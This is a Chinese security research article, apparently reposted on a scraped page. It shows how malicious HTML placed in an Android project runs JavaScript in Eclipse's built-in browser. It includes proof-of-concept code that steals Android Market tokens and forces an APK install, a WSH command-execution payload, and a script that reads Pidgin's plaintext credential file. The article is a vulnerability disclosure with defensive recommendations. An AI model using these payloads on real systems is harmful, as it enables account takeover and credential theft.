<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    Android應用安全之開發環境帶來的危險

                    
                    by SuperHei_at_www.80vul.com
                    
                    
                    一、前言
                    
                       在去年的文檔《WEB2.0下的滲透測試》里提到了一點就是在2.0時代,攻擊者的攻擊方式
                    是針對攻擊的目標身份而變化的。對于開發人員來說,開發環境的安全問題一直是被忽視
                    的,雖然這類問題提了很多年了。本文就是以andriod開發環境里編輯器的一個小問題展開
                    的...
                    
                    二、android的開發環境簡介
                    
                        1、安裝JDK :http://www.oracle.com/technetwork/java/javase/downloads/index.html
                        2、安裝Eclipse :http://www.eclipse.org/downloads/
                        3、安裝ADT插件:打開Eclipse,依次Help--->install new software-->ADD-->Location:
                           https://dl-ssl.google.com/Android/eclipse/-->OK
                        4、安裝Android SDK
                    
                    三、Eclipse的瀏覽器的漏洞
                       
                        以上環境配置好了后,對于開發人員來說最常用的肯定就是IDE了也就是著名的編輯器
                    Eclipse,在我使用Eclipse的過程中發現了一個小問題,那就是Eclipse的瀏覽器在windows
                    下直接調用IE內核來實現的,而在非windows下使用的是WEBKit核心的瀏覽器。對于這樣的簡
                    陋的瀏覽器有一個通病,那就是安全防御薄弱。具體在Eclipse里,有個致命的問題那就是,
                    當開發者點擊html文件時,默認情況下,它調用的不是編輯界面,而是瀏覽器里運行!而且
                    是沒有任何安全提示下通過file://偽協議下執行html文件里的javascript代碼,大家都知
                    道,可以在file://里執行js就意味著一個“跨域”漏洞可能....
                    
                    四、apk代碼結構與html文件
                    
                        下面是我在網絡上下載的一個apk代碼包,它的目錄結構如下:
                    C:\android\Test>tree /f
                    文件夾 PATH 列表
                    C:.
                    │  .classpath
                    │  .project
                    │  AndroidManifest.xml
                    │  proguard.cfg
                    │  project.properties
                    │  readme.htm
                    │
                    ├─assets
                    │      index.htm
                    │
                    ├─bin
                    │  ├─classes
                    │  │  └─com
                    │  │      └─szy
                    │  │          └─test
                    │  │                  MainActivity.class
                    │  │
                    │  ├─com
                    │  │  └─szy
                    │  │      └─test
                    │  │              MainActivity.class
                    │  │
                    │  └─res
                    ├─gen
                    ├─res
                    │  ├─drawable-hdpi
                    │  │      icon.png
                    │  │
                    │  ├─drawable-ldpi
                    │  │      icon.png
                    │  │
                    │  ├─drawable-mdpi
                    │  │      icon.png
                    │  │
                    │  ├─layout
                    │  │      main.xml
                    │  │
                    │  └─values
                    │          strings.xml
                    │
                    └─src
                        └─com
                            └─szy
                                └─test
                                        MainActivity.java
                    
                    在這個代碼里我看到了兩處html文件:
                    1、./readme.htm 這個常用的代碼作者提過的readme文件。
                    2、./assets/index.htm res目錄和assets目錄是存放資源文件的兩個目錄,不同的是/assets
                    目錄下的資源文件不會在R.java自動生成ID。
                    
                    所以這個2個地方將是我們放置和html文件引入邪惡的javascript絕佳場所!! 
                    
                    五、通向手機之路
                    
                    我們在要實現從PC上到手機上安裝執行我們的惡意apk,常用的有2個途徑:
                    
                    1、在手機通過USB連接到PC的情況下,使用adb shell來控制。
                    2、在pc瀏覽器登錄到market[https://market.android.com/]上下載安裝apk。
                    
                    下面我們看看怎么通過Eclipse的瀏覽器執行JS來實現上面的兩個途徑:對于Eclipse的瀏覽
                    器在windows和非windows平臺上的設計是不相同的,那就決定了我們的攻擊方式的不同。
                    
                    A、windows平臺下的途徑
                    
                    windows平臺下Eclipse的瀏覽器是基于IE內核(Trident)的,對于IE來說file://下執行的
                    js就意味著擁有“我的電腦”域的權限,雖然微軟在IE的安全上做了不少工作,但是在本地
                    文件的安全還遠遠不夠,最起碼file://下的xmlhttp完全不設防...,另外微軟更多的安全措
                    施是基于ie的,而不是ie內核(Trident)上的,所以對于第三方的ie內核瀏覽器的安全防御那
                    就更加薄弱了。
                    
                    a、通過market的方式
                    在windows下Eclipse的瀏覽器是基于IE內核來實現的,對于IE內核的瀏覽器來說,有個特點
                    那就是Cookie通用,也就是說IE登錄market后,Eclipse的瀏覽器也在登錄market的狀態。所
                    以我們就可以通過我們插入的js來實現跨market.android.com域,在market上任意執行js,
                    來實現惡意apk的下載安裝。當然這個的前提是你可以把你的惡意代碼放到market上,如果是
                    用你自己的號,那么你最起碼需要支付25刀的開戶費給Google,不過或許你可以直接使用被
                    攻擊者的帳號?! 另外你的apk需要通過google的審查! 所謂“道理是曲折的,前途是光明
                    的”? :)
                    
                    這個過程如下:
                    
                      攻擊者-->上傳包含了惡意Html文件的代碼包 ------------+---------------+-------------------+-----------------------+---------------上傳惡意APK到 market.android.com                           
                                         ||                                                                                                                  || 
                    被攻擊者-->下載包含了惡意Html文件的代碼包-->Eclipse的瀏覽器打開惡意html[JS]-->通過跨域到market.android.com-->JS實現自動下載安裝惡意APK-->Mobile[andoid]
                    
                    
                    其實這個過程類似于market.android.com上xss攻擊的效果,詳見大牛jonoberheide的blog
                    《How I Almost Won Pwn2Own via XSS》[1]
                    
                    演示代碼如下:
                    
                    <script>
                    var request = false;
                            if(window.XMLHttpRequest) {
                                request = new XMLHttpRequest();
                                if(request.overrideMimeType) {
                                    request.overrideMimeType('text/xml');
                                }
                            } else if(window.ActiveXObject) {
                                var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 
                                'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 
                                'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
                                for(var i=0; i<versions.length; i++) {
                                    try {
                                        request = new ActiveXObject(versions[i]);
                                    } catch(e) {}
                                }
                            }
                            
                    xmlhttp=request;
                    
                    var apkid="com.tencent.qqpimsecure";
                    
                    xmlhttp.open("GET", "https://market.android.com/", false);
                    xmlhttp.send(null);
                    var ret = xmlhttp.responseText;
                    
                    var regx = /userEmail: '(.*)', userG/
                    var rs= regx.exec(ret);
                    var gmail = rs[1];
                    
                    var regx = /selectedDeviceId: '(.*)', absoluteBaseUrl/
                    var rs= regx.exec(ret);
                    var deviceId = rs[1];
                    
                    var regx = /token: '(.*)', locale/
                    var rs= regx.exec(ret);
                    var token = rs[1];
                    
                    alert("gmail:"+gmail+"\n"+"DeviceId:"+deviceId+"\n"+"token:"+token);
                    
                    xmlhttp.open("POST", "https://market.android.com/install", false);
                    xmlhttp.setRequestHeader("Referer", "https://market.android.com/");
                    xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
                    xmlhttp.send(unescape("id="+apkid+"&offerType=1&device="+deviceId+"&xhr=1&token="+token));
                    
                    </script>
                    
                    b、通過WSH執行adb shell的方式
                    在ie內核的瀏覽器里file://本地文件是在“我的電腦”域執行的[在沒有MOTW標志的情況
                    下],在“我的電腦”域是可以執行WSH的只不過,在多年的縫縫補補下IE執行WSH是有安全提
                    示的,不過對于一些沒有安全意識開發人員來說,或許很容易點擊"YES"?!! 演示代碼如下:
                    
                    <script>new ActiveXObject("WScript.shell").Run('calc.exe',1,true);</script>
                    
                    
                    B、非windows平臺下的途徑
                    
                    對于market途徑來說,Eclipse的瀏覽器是通過webkit來實現的,它沒有IE那樣的特性,所以
                    如果要通過market來實現的話,前提條件是Eclipse的瀏覽器的瀏覽器已經登錄了market,要
                    不然是沒有辦法的。然后webkit也沒有類似與WSH等直接的方法,那么我們還有什么思路呢?
                    和IE內核的第三方瀏覽器一樣,第三方的防御都很薄弱,比如這里的Eclipse的瀏覽器,對于
                    xmlhttp讀取本地文件也是被允許的。所以如果有本地google的帳號密碼保存的文件,我們讀
                    取后直接登錄market了...,一切都有可能!Pidgin保存的用戶帳號密碼都是用明文方式保存
                    在~/.purple/accounts.xml文件里,只要被攻擊者是使用Pidgin登錄Gtalk的話,我們就有機
                    會!!!
                    
                    對于~目錄,是當前用戶目錄,所以使用絕對路徑時需要知道系統用戶名,這個不太好得
                    到,那么對于Eclipse的workspace目錄也是在~目錄下,那么我們就可以用相對路徑的方式
                    來讀取accounts.xml,而不需要知道系統用戶名,演示代碼如下:
                    
                    <script>
                    function XMLHttp() { xmlhttpOK = false; var xmlhttp=null; if (window.XMLHttpRequest){ 
                    xmlhttp = new XMLHttpRequest(); } else{ 
                     if (window.ActiveXObject){ try { 
                                  xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); 
                              } catch(e) {
                                 xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); 
                                   } 
                                }
                            }
                            return xmlhttp; 
                        }
                        
                    var xhr=new XMLHttp();
                    function postURLRet(url, data){
                        if(xhr)    {
                            xhr.open("POST",url,false);
                            xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
                            xhr.send(data);
                            return xhr.responseText;
                        }
                        return "";
                    }
                    var ret = postURLRet("../../../.purple/accounts.xml", null);
                    alert(ret);
                    </script>
                    
                    六、消失的代碼
                    
                    對于有點安全意識的開發人員來說,有可能查看代碼,對于windows平臺來說,ie內核的瀏覽
                    器是支持“右鍵-->查看源文件“的經典方式的,在非windows平臺下的webkit方式不支持這
                    種方式。對于這樣的方式查看代碼的方式我們可以所用“Original Source Forgery”(詳見[2])
                    的方法來讓我們的代碼“消失”。
                    
                    不過值得注意的是,原來代碼里的直接使用的是:
                    
                    ajax('GET',location, 
                    	function(req){
                           ....
                    }
                    
                    ajax函數里直接使用location但是目前ie已經禁止使用xmlhttp請求本地文件了,所以我們可
                    以把你的惡意html文件copy一份在遠程的web主機上,然后使用http,或者你自己手工寫在代
                    碼里。
                    
                    但是對于Eclipse來說打開html只是默認打開方式是瀏覽器,也就是說好友其他的方式(選擇
                    html文件右鍵-->Open With)其中有個“Text Editor”方式打開的話,你的代碼還是一覽無
                    遺。不過對于老版本的Eclipse來說,編輯器存在著一個漏洞可以隱藏你的代碼:
                    《Nullbytes hide code on Eclipse 3.5》 by Mario Heiderich [3]
                    
                    
                    七、惡意apk的實現
                    這里不是說怎么去實現一個惡意的apk,只是簡單的說2個問題:
                    
                    在上面通過market的方式在目標的手機上安裝了你的apk,但是不會立刻馬上啟動你的apk,
                    所以第一個問題就是怎么啟動你的apk:
                    
                    A、通過BroadcastReceiver的組建實現,這個的結果是必須等待手機的重啟。
                    B、通過設置android:scheme的方法,通過被動的觸發這個scheme來實現啟動[比如通過短信
                    或者郵件的方式發送url,url頁面里代碼使用<iframe src=scheme://xx>來啟動]。
                    
                    第二個問題的是“惡意apk的職能”,也就是說你的控制目標手機的目的,就目前市面上的
                    Android Malware來看基本都是以盜取信息為目的,對于大炒APT(Advanced Persistent 
                    Threat)的時代,對于移動設備控制的目的應該有新的詮釋,移動設備在APT過程里應該只是
                    流程的一個小部分,也就是把你的帶入目標網絡里的一個途徑。所以就這個目的來看,以后
                    的惡意apk開發可能圍繞局域網里的網絡自動掃描攻擊而展開...
                    
                    
                    八、小結
                    
                    上面提到主要有下面幾個問題:
                    
                    1、 Eclipse的問題:
                         i、默認方式所用了瀏覽器方式打開html文件。
                        ii、瀏覽器對javascript沒有安全提示就直接運行。
                    2、 Android market對于下載安裝等敏感操沒有考慮防御xss下的csrf情況[如所用驗證碼的方式]。
                    
                    很多人把一些安全問題歸結到"用戶缺少安全意識"的結論上,其實不然,對于現在的安全理
                    念我們的"官方"應該考慮到某些用戶存在著"缺少安全意識"情況,所以在我們的功能或者
                    UI設計上要考慮到這中情況,盡量減少"安全隱患",比如上面提到的Eclipse在處理html文件
                    的方式上,可以改為默認為編輯狀態。另外對于Android market應該考慮到得到token的情況
                    下的csrf的情況,可以考慮危險的操作可以設置驗證碼等等,一切都以"不要你的用戶為安全
                    漏洞買單"為目標,這才是王道!
                    
                    九、參考
                    [1]http://jon.oberheide.org/blog/2011/03/07/how-i-almost-won-pwn2own-via-xss/
                    [2]http://www.scriptjunkie.us/2011/09/original-source-forgery/
                    [3]https://bugs.eclipse.org/bugs/show_bug.cgi?id=283231
                    
                    -EOF-
                    

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频